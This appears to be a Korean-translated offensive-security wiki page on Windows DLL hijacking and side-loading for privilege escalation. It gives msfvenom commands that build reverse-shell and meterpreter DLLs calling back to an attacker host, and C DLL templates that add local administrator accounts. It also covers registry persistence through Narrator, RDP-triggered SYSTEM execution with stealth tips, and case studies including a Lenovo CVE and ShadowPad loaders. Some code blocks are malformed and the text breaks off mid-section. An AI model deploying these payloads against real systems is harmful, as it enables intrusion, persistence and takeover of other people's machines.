๋„ค, ์š”๊ตฌ์กฐ๊ฑด์„ ์ฐพ๋Š” ๊ฒƒ์€ ๋ณต์žกํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ๊ถŒํ•œ์ด ์žˆ๋Š” ์‹คํ–‰ ํŒŒ์ผ์ด DLL์ด ์—†๋Š” ๊ฒฝ์šฐ๋ฅผ ์ฐพ๋Š” ๊ฒƒ์€ ์ด์ƒํ•˜๊ณ , ์‹œ์Šคํ…œ ๊ฒฝ๋กœ ํด๋”์— ์“ฐ๊ธฐ ๊ถŒํ•œ์„ ๊ฐ–๋Š” ๊ฒƒ์€ ๋” ์ด์ƒํ•ฉ๋‹ˆ๋‹ค(๊ธฐ๋ณธ์ ์œผ๋กœ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค). ํ•˜์ง€๋งŒ ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ํ™˜๊ฒฝ์—์„œ๋Š” ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\
์šด์ด ์ข‹๊ฒŒ ์š”๊ตฌ์‚ฌํ•ญ์„ ์ถฉ์กฑํ•˜๋Š” ๊ฒฝ์šฐ, [UACME](https://github.com/hfiref0x/UACME) ํ”„๋กœ์ ํŠธ๋ฅผ ํ™•์ธํ•ด ๋ณด์„ธ์š”. ์ด ํ”„๋กœ์ ํŠธ์˜ **main goal of the project is bypass UAC** ์ด์ง€๋งŒ, ํ•ด๋‹น Windows ๋ฒ„์ „์— ๋งž๋Š” Dll hijaking์˜ **PoC**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋ฉฐ(์•„๋งˆ๋„ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” ํด๋”์˜ ๊ฒฝ๋กœ๋งŒ ๋ณ€๊ฒฝํ•˜๋ฉด ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค) ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ๊ณ ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์ด **ํด๋”์—์„œ ๊ถŒํ•œ์„ ํ™•์ธ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

๊ทธ๋ฆฌ๊ณ  PATH ๋‚ด์˜ ๋ชจ๋“  ํด๋” ๊ถŒํ•œ์„ ํ™•์ธํ•˜์„ธ์š”:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ์‹คํ–‰ ํŒŒ์ผ์˜ imports์™€ dll์˜ exports๋ฅผ ํ™•์ธํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

For a full guide on how to abuse Dll Hijacking to escalate privileges with permissions to write in a System Path folder check:

Writable Sys Path +Dll Hijacking Privesc

Automated tools

Winpeas ๋Š” system PATH ๋‚ด์˜ ์–ด๋–ค ํด๋”์— ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ์ž๋™ํ™” ๋„๊ตฌ๋กœ ์ด ์ทจ์•ฝ์ ์„ ์ฐพ์•„๋‚ด๋Š” ๋ฐ ์œ ์šฉํ•œ PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack ๋ฐ _Write-HijackDll._์ด ์žˆ์Šต๋‹ˆ๋‹ค.

Example

๋งŒ์•ฝ exploitable scenario๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๋‹ค๋ฉด, ์ด๋ฅผ ์„ฑ๊ณต์ ์œผ๋กœ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด ๊ฐ€์žฅ ์ค‘์š”ํ•œ ๊ฒƒ ์ค‘ ํ•˜๋‚˜๋Š” ์‹คํ–‰ ํŒŒ์ผ์ด ํ•ด๋‹น dll์—์„œ ๊ฐ€์ ธ์˜ฌ ๋ชจ๋“  ํ•จ์ˆ˜๋ฅผ ์ ์–ด๋„ ๋‚ด๋ณด๋‚ด๋Š” dll์„ ๋งŒ๋“œ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์–ด์จŒ๋“ , Dll Hijacking์€ escalate from Medium Integrity level to High (bypassing UAC) ๋˜๋Š” High Integrity to SYSTEM์œผ๋กœ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ์‹คํ–‰์„ ์œ„ํ•œ dll hijacking ์—ฐ๊ตฌ ๋‚ด๋ถ€์—์„œ how to create a valid dll์˜ ์˜ˆ๋Š” ๋‹ค์Œ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
๋˜ํ•œ, next section์—๋Š” templates๋กœ ์œ ์šฉํ•˜๊ฑฐ๋‚˜ dll with non required functions exported๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ๋Š” ๋ช‡ ๊ฐ€์ง€ basic dll codes๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

Creating and compiling Dlls

Dll Proxifying

๊ธฐ๋ณธ์ ์œผ๋กœ Dll proxy๋Š” ๋กœ๋“œ๋  ๋•Œ ๋กœ๋“œ๋  ๋•Œ ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” Dll์ด์ง€๋งŒ, ๋ชจ๋“  ํ˜ธ์ถœ์„ ์‹ค์ œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ ์ „๋‹ฌํ•จ์œผ๋กœ์จ ๊ธฐ๋Œ€๋Œ€๋กœ ๋…ธ์ถœํ•˜๊ณ  ๋™์ž‘ํ•  ์ˆ˜ ์žˆ๋Š” Dll์ž…๋‹ˆ๋‹ค.

With the tool DLLirant or Spartacus you can actually ์‹คํ–‰ ํŒŒ์ผ์„ ์ง€์ •ํ•˜๊ณ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์„ ํƒํ•˜์—ฌ proxifyํ•˜๋ ค๋Š” ๋Œ€์ƒ์˜ proxified dll์„ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜, Dll์„ ์ง€์ •ํ•˜๊ณ  proxified dll์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Meterpreter

Get rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

meterpreter (x86) ์–ป๊ธฐ:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

์‚ฌ์šฉ์ž ์ƒ์„ฑ (x86 โ€” x64 ๋ฒ„์ „์€ ํ™•์ธ๋˜์ง€ ์•Š์Œ):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

์ž์‹ ๋งŒ์˜

์ปดํŒŒ์ผํ•˜๋Š” Dll์€ victim process์— ์˜ํ•ด ๋กœ๋“œ๋  ์—ฌ๋Ÿฌ ํ•จ์ˆ˜๋ฅผ ๋ฐ˜๋“œ์‹œ export several functions ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ•จ์ˆ˜๋“ค์ด ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด binary wonโ€™t be able to load them, ๊ทธ๋ฆฌ๊ณ  exploit will fail.

C DLL template (Win10) ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ switch(dwReason){ case DLL_PROCESS_ATTACH: system("whoami > C:\\users\\username\\whoami.txt"); WinExec("calc.exe", 0); //This doesn't accept redirections like system break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } ``` ```c // For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll // For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ if (dwReason == DLL_PROCESS_ATTACH){ system(โ€œcmd.exe /k net localgroup administrators user /addโ€); ExitProcess(0); } return TRUE; }

<details>
<summary>C++ DLL ์˜ˆ์ œ (์‚ฌ์šฉ์ž ์ƒ์„ฑ ํฌํ•จ)</summary>
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
์Šค๋ ˆ๋“œ ์ง„์ž…์ ์ด ์žˆ๋Š” ๋Œ€์ฒด C DLL ```c //Another possible DLL // i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h> #include<stdlib.h> #include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded system(โ€œcmdโ€); }

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; }

</details>

## ์‚ฌ๋ก€ ์—ฐ๊ตฌ: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)

Windows Narrator.exe๋Š” ์‹œ์ž‘ ์‹œ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•˜๊ณ  ์–ธ์–ด๋ณ„์ธ localization DLL์„ ๊ณ„์† ํƒ์ƒ‰(probe)ํ•˜๋ฉฐ, ํ•ด๋‹น DLL์€ hijacked๋˜์–ด arbitrary code execution ๋ฐ persistence๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Key facts
- Probe path (current builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
- Legacy path (older builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
- If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and `DllMain(DLL_PROCESS_ATTACH)` executes. No exports are required.

Discovery with Procmon
- Filter: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`.
- Start Narrator and observe the attempted load of the above path.

Minimal DLL
```c
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}

OPSEC ๋ฌด์Œ

  • ๋‹จ์ˆœํ•œ hijack์€ UI์—์„œ ์Œ์„ฑ ์žฌ์ƒ/๊ฐ•์กฐ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ์กฐ์šฉํžˆ ์œ ์ง€ํ•˜๋ ค๋ฉด, attach ์‹œ Narrator์˜ ์Šค๋ ˆ๋“œ๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ๋ฉ”์ธ ์Šค๋ ˆ๋“œ๋ฅผ ์—ด๊ธฐ(OpenThread(THREAD_SUSPEND_RESUME))ํ•œ ๋’ค SuspendThread๋กœ ์ผ์‹œ์ค‘๋‹จํ•˜๊ณ , ์ž์‹ ๋งŒ์˜ ์Šค๋ ˆ๋“œ์—์„œ ๊ณ„์† ์ง„ํ–‰ํ•˜์„ธ์š”. ์ „์ฒด ์ฝ”๋“œ๋Š” PoC๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

Trigger and persistence via Accessibility configuration

  • User context (HKCU): reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
  • Winlogon/SYSTEM (HKLM): reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
  • ์œ„ ์„ค์ •์œผ๋กœ Narrator๋ฅผ ์‹œ์ž‘ํ•˜๋ฉด ์‹ฌ์–ด์ง„ DLL์ด ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ๋ณด์•ˆ ๋ฐ์Šคํฌํ†ฑ(๋กœ๊ทธ์˜จ ํ™”๋ฉด)์—์„œ CTRL+WIN+ENTER๋ฅผ ๋ˆŒ๋Ÿฌ Narrator๋ฅผ ์‹œ์ž‘ํ•˜์„ธ์š”.

RDP-triggered SYSTEM execution (lateral movement)

  • Allow classic RDP security layer: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
  • ํ˜ธ์ŠคํŠธ์— RDP๋กœ ์ ‘์†ํ•œ ๋’ค, ๋กœ๊ทธ์˜จ ํ™”๋ฉด์—์„œ CTRL+WIN+ENTER๋ฅผ ๋ˆŒ๋Ÿฌ Narrator๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”; ๋ณด์•ˆ ๋ฐ์Šคํฌํ†ฑ์—์„œ ๋‹น์‹ ์˜ DLL์ด SYSTEM์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
  • RDP ์„ธ์…˜์ด ์ข…๋ฃŒ๋˜๋ฉด ์‹คํ–‰๋„ ์ค‘๋‹จ๋ฉ๋‹ˆ๋‹ค โ€” ๋น ๋ฅด๊ฒŒ inject/migrate ํ•˜์„ธ์š”.

Bring Your Own Accessibility (BYOA)

  • ๋‚ด์žฅ Accessibility Tool (AT) ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ•ญ๋ชฉ(์˜ˆ: CursorIndicator)์„ ๋ณต์ œํ•˜๊ณ , ์ž„์˜์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ/DLL์„ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ํŽธ์ง‘ํ•œ ํ›„ ๊ฐ€์ ธ์˜ค๊ณ  configuration์„ ํ•ด๋‹น AT ์ด๋ฆ„์œผ๋กœ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด Accessibility ํ”„๋ ˆ์ž„์›Œํฌ ํ•˜์—์„œ ์ž„์˜ ์‹คํ–‰์„ ํ”„๋ก์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Notes

  • Writing under %windir%\System32 and changing HKLM values requires admin rights.
  • ๋ชจ๋“  ํŽ˜์ด๋กœ๋“œ ๋กœ์ง์€ DLL_PROCESS_ATTACH์— ๋“ค์–ด๊ฐˆ ์ˆ˜ ์žˆ์œผ๋ฉฐ, export๋Š” ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์‚ฌ๋ก€ ์—ฐ๊ตฌ: CVE-2025-1729 - TPQMAssistant.exe๋ฅผ ์ด์šฉํ•œ ๊ถŒํ•œ ์ƒ์Šน

์ด ์‚ฌ๋ก€๋Š” Lenovo์˜ TrackPoint Quick Menu (TPQMAssistant.exe)์—์„œ Phantom DLL Hijacking์„ ๋ณด์—ฌ์ฃผ๋ฉฐ, CVE-2025-1729๋กœ ์ถ”์ ๋ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝ์  ์„ธ๋ถ€์‚ฌํ•ญ

  • Component: TPQMAssistant.exe located at C:\ProgramData\Lenovo\TPQM\Assistant\.
  • Scheduled Task: Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask runs daily at 9:30 AM under the context of the logged-on user.
  • Directory Permissions: Writable by CREATOR OWNER, allowing local users to drop arbitrary files.
  • DLL Search Behavior: Attempts to load hostfxr.dll from its working directory first and logs โ€œNAME NOT FOUNDโ€ if missing, indicating local directory search precedence.

Exploit ๊ตฌํ˜„

๊ณต๊ฒฉ์ž๋Š” ๋™์ผํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์•…์„ฑ hostfxr.dll ์Šคํ…์„ ๋ฐฐ์น˜ํ•˜์—ฌ, ๋ˆ„๋ฝ๋œ DLL์„ ์•…์šฉํ•ด ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์—์„œ ์ฝ”๋“œ ์‹คํ–‰์„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}

๊ณต๊ฒฉ ํ๋ฆ„

  1. ํ‘œ์ค€ ์‚ฌ์šฉ์ž๋กœ์„œ hostfxr.dll์„ C:\ProgramData\Lenovo\TPQM\Assistant\์— ๋ฐฐ์น˜ํ•œ๋‹ค.
  2. ํ˜„์žฌ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์—์„œ ์˜ˆ์•ฝ๋œ ์ž‘์—…์ด ์˜ค์ „ 9:30์— ์‹คํ–‰๋  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฐ๋‹ค.
  3. ์ž‘์—…์ด ์‹คํ–‰๋  ๋•Œ ๊ด€๋ฆฌ์ž๊ฐ€ ๋กœ๊ทธ์ธ๋˜์–ด ์žˆ์œผ๋ฉด ์•…์„ฑ DLL์ด ๊ด€๋ฆฌ์ž์˜ ์„ธ์…˜์—์„œ medium integrity๋กœ ์‹คํ–‰๋œ๋‹ค.
  4. ํ‘œ์ค€ UAC bypass ๊ธฐ๋ฒ•์„ ์—ฐ๊ณ„ํ•˜์—ฌ medium integrity์—์„œ SYSTEM ๊ถŒํ•œ์œผ๋กœ ์ƒ์Šน์‹œํ‚จ๋‹ค.

Case Study: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)

์œ„ํ˜‘ ํ–‰์œ„์ž๋Š” ์‹ ๋ขฐ๋œ ์„œ๋ช…๋œ ํ”„๋กœ์„ธ์Šค ํ•˜์—์„œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด MSI-based droppers์™€ DLL side-loading์„ ์ž์ฃผ ๊ฒฐํ•ฉํ•œ๋‹ค.

Chain overview

  • ์‚ฌ์šฉ์ž๊ฐ€ MSI๋ฅผ ๋‹ค์šด๋กœ๋“œํ•œ๋‹ค. GUI ์„ค์น˜ ์ค‘์— CustomAction์ด ์กฐ์šฉํžˆ ์‹คํ–‰๋˜์–ด(์˜ˆ: LaunchApplication ๋˜๋Š” VBScript ์•ก์…˜) ์ž„๋ฒ ๋””๋“œ ๋ฆฌ์†Œ์Šค์—์„œ ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ์žฌ๊ตฌ์„ฑํ•œ๋‹ค.
  • dropper๊ฐ€ ํ•ฉ๋ฒ•์ ์œผ๋กœ ์„œ๋ช…๋œ EXE์™€ ์•…์„ฑ DLL์„ ๋™์ผํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์“ด๋‹ค(์˜ˆ: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll).
  • ์„œ๋ช…๋œ EXE๊ฐ€ ์‹œ์ž‘๋˜๋ฉด Windows DLL search order๊ฐ€ ๋จผ์ € ์ž‘์—… ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ wsc.dll์„ ๋กœ๋“œํ•˜์—ฌ ์„œ๋ช…๋œ ๋ถ€๋ชจ ํ”„๋กœ์„ธ์Šค ํ•˜์—์„œ ๊ณต๊ฒฉ์ž ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค(ATT&CK T1574.001).

MSI analysis (what to look for)

  • CustomAction ํ…Œ์ด๋ธ”:
  • ์‹คํ–‰ ํŒŒ์ผ์ด๋‚˜ VBScript๋ฅผ ์‹คํ–‰ํ•˜๋Š” ํ•ญ๋ชฉ์„ ์ฐพ๋Š”๋‹ค. ์˜ˆ์‹œ ์˜์‹ฌ ํŒจํ„ด: ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ์ž„๋ฒ ๋””๋“œ ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๋Š” LaunchApplication.
  • Orca (Microsoft Orca.exe)์—์„œ CustomAction, InstallExecuteSequence ๋ฐ Binary ํ…Œ์ด๋ธ”์„ ๊ฒ€์‚ฌํ•œ๋‹ค.
  • MSI CAB ์•ˆ์˜ ์ž„๋ฒ ๋””๋“œ/๋ถ„ํ•  ํŽ˜์ด๋กœ๋“œ:
  • ๊ด€๋ฆฌ์ž ์ถ”์ถœ: msiexec /a package.msi /qb TARGETDIR=C:\out
  • ๋˜๋Š” lessmsi ์‚ฌ์šฉ: lessmsi x package.msi C:\out
  • VBScript CustomAction์— ์˜ํ•ด ์—ฐ๊ฒฐ๋˜๊ณ  ๋ณตํ˜ธํ™”๋˜๋Š” ์—ฌ๋Ÿฌ ์ž‘์€ ์กฐ๊ฐ๋“ค์„ ์ฐพ๋Š”๋‹ค. ์ผ๋ฐ˜์ ์ธ ํ๋ฆ„:
' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)

์‹ค์ „ sideloading with wsc_proxy.exe

  • ๋‹ค์Œ ๋‘ ํŒŒ์ผ์„ ๊ฐ™์€ ํด๋”์— ๋„ฃ์œผ์„ธ์š”:
  • wsc_proxy.exe: ์ •์ƒ์ ์œผ๋กœ ์„œ๋ช…๋œ ํ˜ธ์ŠคํŠธ (Avast). ํ”„๋กœ์„ธ์Šค๋Š” ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ์ด๋ฆ„์œผ๋กœ wsc.dll์„ ๋กœ๋“œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.
  • wsc.dll: ๊ณต๊ฒฉ์ž DLL. ํŠน์ • exports๊ฐ€ ํ•„์š”ํ•˜์ง€ ์•Š๋‹ค๋ฉด DllMain์œผ๋กœ ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค; ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด proxy DLL์„ ๋งŒ๋“ค๊ณ  ํ•„์š”ํ•œ exports๋ฅผ ์ •ํ’ˆ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ ํฌ์›Œ๋”ฉํ•˜๋ฉด์„œ DllMain์—์„œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”.
  • ์ตœ์†Œํ•œ์˜ DLL ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋นŒ๋“œํ•˜์„ธ์š”:
// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}
  • Export ์š”๊ตฌ์‚ฌํ•ญ์ด ์žˆ์„ ๊ฒฝ์šฐ, ํ”„๋ก์‹œ ํ”„๋ ˆ์ž„์›Œํฌ(์˜ˆ: DLLirant/Spartacus)๋ฅผ ์‚ฌ์šฉํ•ด ํŽ˜์ด๋กœ๋“œ๋„ ์‹คํ–‰ํ•˜๋Š” ํฌ์›Œ๋”ฉ DLL์„ ์ƒ์„ฑํ•˜์„ธ์š”.

  • ์ด ๊ธฐ๋ฒ•์€ ํ˜ธ์ŠคํŠธ ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์˜ํ•œ DLL ์ด๋ฆ„ ํ•ด์„์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ํ˜ธ์ŠคํŠธ๊ฐ€ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ์•ˆ์ „ ๋กœ๋”ฉ ํ”Œ๋ž˜๊ทธ(์˜ˆ: LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories)๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด hijack์ด ์‹คํŒจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • KnownDLLs, SxS, and forwarded exports๋Š” ์šฐ์„ ์ˆœ์œ„์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋ฏ€๋กœ ํ˜ธ์ŠคํŠธ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ export ์ง‘ํ•ฉ์„ ์„ ํƒํ•  ๋•Œ ๋ฐ˜๋“œ์‹œ ๊ณ ๋ คํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Signed triads + encrypted payloads (ShadowPad case study)

Check Point๋Š” Ink Dragon์ด ํ•ต์‹ฌ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋””์Šคํฌ์— ์•”ํ˜ธํ™” ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜๋ฉด์„œ ์ •์‹ ์†Œํ”„ํŠธ์›จ์–ด์— ์„ž์–ด ๋ฐฐํฌํ•˜๊ธฐ ์œ„ํ•ด three-file triad๋ฅผ ์–ด๋–ป๊ฒŒ ์‚ฌ์šฉํ•˜๋Š”์ง€ ์„ค๋ช…ํ–ˆ์Šต๋‹ˆ๋‹ค:

  1. Signed host EXE โ€“ AMD, Realtek, NVIDIA ๊ฐ™์€ ๋ฒค๋”(์˜ˆ: vncutil64.exe, ApplicationLogs.exe, msedge_proxyLog.exe)์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์•…์šฉ๋ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์‹คํ–‰ํŒŒ์ผ ์ด๋ฆ„์„ Windows ๋ฐ”์ด๋„ˆ๋ฆฌ์ฒ˜๋Ÿผ ๋ณด์ด๊ฒŒ ๋ฐ”๊พธ๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: conhost.exe)โ€”ํ•˜์ง€๋งŒ Authenticode ์„œ๋ช…์€ ๊ทธ๋Œ€๋กœ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค.
  2. Malicious loader DLL โ€“ EXE ์˜†์— ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ์ด๋ฆ„์œผ๋กœ ๋“œ๋กญ๋ฉ๋‹ˆ๋‹ค(์˜ˆ: vncutil64loc.dll, atiadlxy.dll, msedge_proxyLogLOC.dll). ์ด DLL์€ ๋ณดํ†ต ScatterBrain ํ”„๋ ˆ์ž„์›Œํฌ๋กœ ๋‚œ๋…ํ™”๋œ MFC ๋ฐ”์ด๋„ˆ๋ฆฌ์ด๋ฉฐ, ์•”ํ˜ธํ™”๋œ ๋ธ”๋ž์„ ์ฐพ์•„ ๋ณตํ˜ธํ™”ํ•˜๊ณ  ShadowPad๋ฅผ reflectively mapํ•˜๋Š” ์—ญํ• ๋งŒ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  3. Encrypted payload blob โ€“ ์ข…์ข… ๋™์ผ ๋””๋ ‰ํ„ฐ๋ฆฌ์— <name>.tmp๋กœ ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ๋กœ๋”๊ฐ€ ๋ณตํ˜ธํ™”๋œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ฉ”๋ชจ๋ฆฌ ๋งตํ•œ ํ›„ TMP ํŒŒ์ผ์„ ์‚ญ์ œํ•ด ํฌ๋ Œ์‹ ํ”์ ์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

Tradecraft notes:

